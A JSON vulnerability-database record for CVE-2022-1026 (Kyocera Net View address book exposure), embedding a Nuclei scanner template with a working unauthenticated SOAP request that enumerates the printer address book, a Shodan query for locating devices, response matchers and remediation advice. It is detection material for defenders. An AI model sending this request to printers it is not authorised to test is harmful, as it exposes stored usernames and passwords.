{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-1026/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-1026/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-1026/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-1026/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-1026/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-1026"},"sightings":{"href":"/api/v1/sightings/cve-2022-1026"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-1026.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2022-1026\n\ninfo:\n  name: Kyocera Net View Address Book Exposure\n  author: DhiyaneshDK\n  severity: high\n  description: |\n    Kyocera multifunction printers running vulnerable versions of Net View unintentionally expose sensitive user information, including usernames and passwords, through an insufficiently protected address book export function.\n  impact: |\n    Unauthenticated attackers can export the address book from Kyocera printers containing sensitive user information including usernames and passwords without authentication.\n  remediation: |\n    Apply firmware updates provided by Kyocera or configure authentication for the address book export function.\n  reference:\n    - https://github.com/ac3lives/kyocera-cve-2022-1026\n    - https://www.rapid7.com/blog/post/2022/03/29/cve-2022-1026-kyocera-net-view-address-book-exposure/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2022-1026\n    cwe-id: CWE-522\n    epss-score: 0.14617\n    epss-percentile: 0.96667\n    cpe: cpe:2.3:a:kyocera:net_viewer:*:*:*:*:*:*:*:*\n  metadata:\n    vendor: kyocera\n    product: net_viewer\n    shodan-query: product:\"Kyocera Printer Panel\"\n    max-request: 1\n  tags: cve,cve2022,kyocera,exposure,vkev,intrusive,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /ws/km-wsdl/setting/address_book HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/soap+xml\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:SOAP-ENC=\"http://www.w3.org/2003/05/soap-encoding\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:xop=\"http://www.w3.org/2004/08/xop/include\" xmlns:ns1=\"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book\"><SOAP-ENV:Header><wsa:Action SOAP-ENV:mustUnderstand=\"true\">http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration</wsa:Action></SOAP-ENV:Header><SOAP-ENV:Body><ns1:create_personal_address_enumerationRequest><ns1:number>25</ns1:number></ns1:create_personal_address_enumerationRequest></SOAP-ENV:Body></SOAP-ENV:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"SOAP-ENV:Envelope\"\n          - \"SOAP-ENV:Body\"\n        condition: and\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502204b8c19c8854dae71d0f1dbec3d5dcf5ecd6b1c96fbd320b28a42c91966a5de01022100ed0c54897e391cf0c2dc4c93620de2f8ab705c729071f7e775c0ea7a12021e1d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-1026"}